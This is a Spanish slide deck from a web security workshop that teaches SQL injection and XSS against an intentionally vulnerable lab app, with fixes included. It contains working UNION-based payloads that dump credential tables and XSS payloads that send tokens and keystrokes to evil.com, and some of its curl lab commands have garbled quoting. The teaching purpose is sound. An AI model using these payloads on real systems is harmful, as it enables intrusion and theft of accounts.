



Día 2

SQL Injection y Cross-Site Scripting (XSS)

Taller de Seguridad Web – OWASP Top 10

Carlos Rodríguez Contreras · GitHub: karrocon

Agenda del día

🕒 Sesión 1 (2h)

Bloque	Tema
Repaso	Warm-up día 1
T04	SQL Injection – teoría completa
Lab	SQLi ataques progresivos
T04-Fix	Prepared Statements
Lab	Aplicar el fix

🕒 Sesión 2 (2h)

Bloque	Tema
T05	XSS – teoría completa
Lab	XSS reflejado y almacenado
T05-Fix	Sanitización y CSP
Lab	Aplicar fixes de XSS

Objetivos del día

Al terminar hoy serás capaz de:

1.  Extraer **toda la base de datos** con UNION SELECT
2.  Distinguir SQLi In-band, Blind y Union-based
3.  Inyectar JavaScript que roba tokens de otros usuarios
4.  Corregir ambas vulnerabilidades con **una línea** de código

 **Hoy dominamos OWASP A03: Injection** — la categoría que incluye SQLi y XSS.

Lo que ya sabéis (día 1)

-  Login con `' OR 1=1--` → token de admin
-  Estructura HTTP: método, headers, body
-  Secretos expuestos en `/debug` y en código

Hoy subimos de nivel:

```
Día 1:  ' OR 1=1--          → "soy admin"
Día 2:  ' UNION SELECT ...-- → "tengo TODA la BD"
Día 2:  <img onerror=...>    → "robo tu token"
```

T04: SQL Injection — Teoría completa

De bypass de login a exfiltración total

Tipos de SQL Injection

Tipo	Cómo funciona	Visibilidad
In-band (Union)	Los datos extraídos aparecen en la respuesta	Alta – ves el resultado
Error-based	El mensaje de error revela datos	Media – parcial
Blind (Boolean)	<code>TRUE</code> vs <code>FALSE</code> cambia la respuesta	Baja – 1 bit por consulta
Time-based	<code>SLEEP(5)</code> para inferir datos	Baja – lento pero universal

En VulnApp → Union-based (la más potente cuando funciona).

UNION SELECT – Paso 1: Contar columnas

El **UNION** exige que ambas consultas tengan el **mismo número de columnas**.

```
-- Ir incrementando hasta que deje de dar error:  
' ORDER BY 1--    → OK  
' ORDER BY 2--    → OK  
' ORDER BY 3--    → OK  
' ORDER BY 4--    → OK  
' ORDER BY 5--    → OK  
' ORDER BY 6--    → ERROR ← ¡Hay 5 columnas!
```

En **VulnApp**: la tabla **users** tiene 5 columnas (id, username, password, role, email).

UNION SELECT — Paso 2: Identificar columnas visibles

```
-- ¿Qué columnas se reflejan en la respuesta?  
' UNION SELECT 'A','B','C','D','E'--
```

Respuesta de VulnApp:

```
{  
  "user": { "id": "A", "username": "B", "role": "D" }  
}
```

→ Las posiciones **2** y **4** se muestran en la respuesta. Inyectamos ahí.

UNION SELECT — Paso 3: Extraer datos

```
-- Extraer TODOS los usuarios y contraseñas en una petición:  
' UNION SELECT 1,group_concat(username||':'||password,' | '),3,4,5  
FROM users--
```

Resultado:

```
{  
  "username": "alice:password123 | bob:qwerty | carol:letmein"  
}
```

💀 **Toda la tabla de usuarios en una sola petición.** Contraseñas en texto plano.

UNION SELECT — Paso 4: Descubrir todas las tablas

```
-- Listar todas las tablas de la base de datos (SQLite):  
' UNION SELECT 1,group_concat(name,' | '),3,4,5  
  FROM sqlite_master WHERE type='table'--
```

Resultado:

```
{  
  "username": "users | sqlite_sequence | comments | products"  
}
```

Ahora puedes extraer datos de **cualquier tabla**.

Ataque avanzado – Crear un usuario falso

```
-- Inyectar un usuario ficticio en la respuesta:  
' UNION SELECT 99,'hacker','fake','admin','h@evil.com'--
```

El servidor genera un JWT con `role: admin` para el usuario inyectado.

Blind SQLi (cuando no ves output):

```
-- ¿La contraseña de alice empieza por 'p'?  
alice' AND password LIKE 'p%'--  
-- Si login OK → empieza por 'p'. Si error → no.
```



Lab T04 — SQLi ataques progresivos

```
URL="https://vulnapp-owasp-01.azurewebsites.net/auth/login"  
H="Content-Type: application/json"
```

1. Descubrir número de columnas

```
curl -s -X POST $URL -H "$H" \  
-d '{"username":"","password":"x"}' | jq .
```

2. Extraer todos los usuarios

```
curl -s -X POST $URL -H "$H" \  
-d '{"username":"","password":"x"}' UNION SELECT 1,group_concat(username||chr(58)||password,chr(124)),3,4,5 FROM users--", "password":"x"}' | jq .
```

3. Listar todas las tablas

```
curl -s -X POST $URL -H "$H" \  
-d '{"username":"","password":"x"}' UNION SELECT 1,group_concat(name,chr(124)),3,4,5 FROM sqlite_master WHERE type=chr(116)||chr(97)||chr(98)||chr(108)||chr(101)--", "password":"x"}' | jq .
```



Documenta cada output — lo usarás en el informe final (día 8).

El fix — Prepared Statements (una línea)

❌ VULNERABLE — Concatenación:

```
const query = `SELECT * FROM users
  WHERE username='${username}'
  AND password='${password}'`;
const user = db.prepare(query).get();
```

El input del usuario se **mezcla** con el SQL.

✅ SEGURO — Parámetros:

```
const user = db.prepare(
  'SELECT * FROM users WHERE username = ? AND password = ?'
).get(username, password);
```

El input **nunca** se interpreta como SQL.

✅ El **?** le dice al motor: "esto es un VALOR, no código SQL". Imposible inyectar.

Casos reales de SQLi

Caso	Año	Impacto
Heartland Payment	2008	130M tarjetas de crédito
Sony PSN	2011	77M cuentas, 23 días offline
MOVEit (CIOp)	2023	2.500+ organizaciones, ransomware masivo

⚠ **SQLi lleva 25 años** en el top de vulnerabilidades. Sigue siendo la #1 en muchas apps.

T05: Cross-Site Scripting (XSS)

Injectar JavaScript en el navegador de otros usuarios

¿Qué es XSS?

El atacante inyecta **código JavaScript** que se ejecuta en el navegador de la víctima:

```
<!-- El atacante publica este comentario: -->  
<img src=x onerror="alert(document.cookie)">
```

Cuando otro usuario ve la página con ese comentario → **su navegador ejecuta el JS.**

Tipo	Vector	Persistencia
Reflected	URL con payload, la víctima hace clic	No – un solo uso
Stored	Payload guardado en BD (comentarios, perfiles)	Sí – afecta a todos
DOM-based	JS del cliente lee la URL sin sanitizar	No – solo cliente

¿Por qué `<script>` no funciona pero `<img onerror>` sí?

```
<!-- ❌ NO se ejecuta (HTML5 spec: innerHTML ignora <script>) -->
<script>alert('XSS')</script>
```

```
<!-- ✅ SÍ se ejecuta (event handlers siempre se evalúan) -->
<img src=x onerror="alert('XSS')">
<svg onload="alert('XSS')">
<details open ontoggle="alert('XSS')">
```

⚠️ Un filtro que solo bloquea `<script>` es **inútil**. Hay docenas de vectores alternativos.

XSS en VulnApp – Stored (comentarios)

```
// src/routes/comments.ts – VULNERABLE
// El contenido se guarda TAL CUAL en la BD:
db.run('INSERT INTO comments (content, user_id) VALUES (?, ?)',
  content, userId); // content no se sanitiza

// Luego se renderiza sin escapar en el frontend:
element.innerHTML = comment.content; // ← PELIGRO
```

El atacante publica un comentario con:

```
<img src=x onerror="fetch('https://evil.com?t='+localStorage.getItem('token'))">
```

→ Cada usuario que vea los comentarios **envía su token al atacante**.

Payloads de ataque XSS

```
<!-- 1. Prueba de concepto (PoC) -->
<img src=x onerror="alert('XSS por ' + document.domain)">

<!-- 2. Robo de token JWT -->
<img src=x onerror="fetch('https://evil.com?t='+localStorage.getItem('token'))">

<!-- 3. Keylogger (captura teclas) -->
<img src=x onerror="document.onkeypress=e=>fetch('https://evil.com?k='+e.key)">

<!-- 4. Defacement (desfigurar la web) -->
<div style="position:fixed;top:0;left:0;width:100vw;height:100vh;
background:red;z-index:9999;display:flex;align-items:center;
justify-content:center"><h1 style="color:white;font-size:5em">
HACKEADO</h1></div>
```

DOM-XSS — Sin pasar por el servidor

```
// Frontend VULNERABLE – lee parámetro de URL sin sanitizar:  
const msg = new URLSearchParams(location.search).get('msg');  
document.getElementById('banner').innerHTML = msg; // ← PELIGRO
```

Ataque via URL:

```
https://vulnapp-owasp-01.azurewebsites.net/?msg=<img src=x onerror=alert('DOM-XSS')>
```

El servidor **nunca ve** el payload (está en el fragmento del cliente). Los WAF no lo detectan.

Lab T05 — XSS reflejado y almacenado

Ataque 1 — Stored XSS (comentarios):

1. Login como bob → ir a comentarios
2. Publicar: `<img src=x onerror="alert('XSS por bob')">`
3. ¿Salta la alerta? → Login como carol → ¿también le salta?

Ataque 2 — Token theft:

1. Publicar: `<img src=x onerror="alert(localStorage.getItem('token'))">`
2. ¿Qué token ves? ¿De quién es?

Ataque 3 — DOM-XSS:

1. Navegar a: `/?msg=<img src=x onerror=alert('DOM')>`

 **Documenta** cada payload y resultado. Captura el token robado.

El fix — Triple defensa contra XSS

1. Sanitizar en el servidor:

```
import sanitizeHtml from 'sanitize-html';
const clean = sanitizeHtml(content,
  { allowedTags: [] });
db.run('INSERT ... VALUES (?)', clean);
```

2. Escapar en el cliente:

```
// ❌ element.innerHTML = data;
// ✅
element.textContent = data;
```

3. Content Security Policy:

```
Content-Security-Policy:
  default-src 'self';
  script-src 'self';
  style-src 'self' 'unsafe-inline';
```

CSP bloquea JS inline incluso si inyectas HTML →
última línea de defensa.

Casos reales de XSS

Caso	Año	Impacto
Samy worm (MySpace)	2005	1M amigos en 20h – primer gusano XSS
British Airways	2018	380K tarjetas robadas, multa £20M GDPR
Fortnite	2019	XSS en subdomain → session hijacking de millones de cuentas

Labs del día — resumen

Lab	Qué harás	Nivel
T04 — SQLi	ORDER BY → UNION → extraer users → sqlite_master	🔥 🔥 🔥
T04 — Fix	Cambiar a prepared statements	🛡️
T05 — XSS	Injectar en comentarios, productos, URL <code>?msg=</code>	🔥 🔥 🔥
T05 — Fix	sanitize-html +.textContent + CSP	🛡️

🔗 **URL:** `https://vulnapp-owasp-01.azurewebsites.net`

📝 **Documentad** cada ataque exitoso — lo usaréis en el informe final (día 8).

Resumen del día

Ataque	Payload clave	Defensa
SQLi Union	' UNION SELECT 1,group_concat(...),3,4,5 FROM users--	Prepared statements (?)
SQLi Bypass	' OR 1=1--	Nunca concatenar input en SQL
XSS Stored		sanitize-html en server
XSS DOM	/?msg=	textContent + CSP

🏆 **Logro del día:** Habéis extraído toda la BD y ejecutado JS en navegadores ajenos. También sabéis arreglarlo.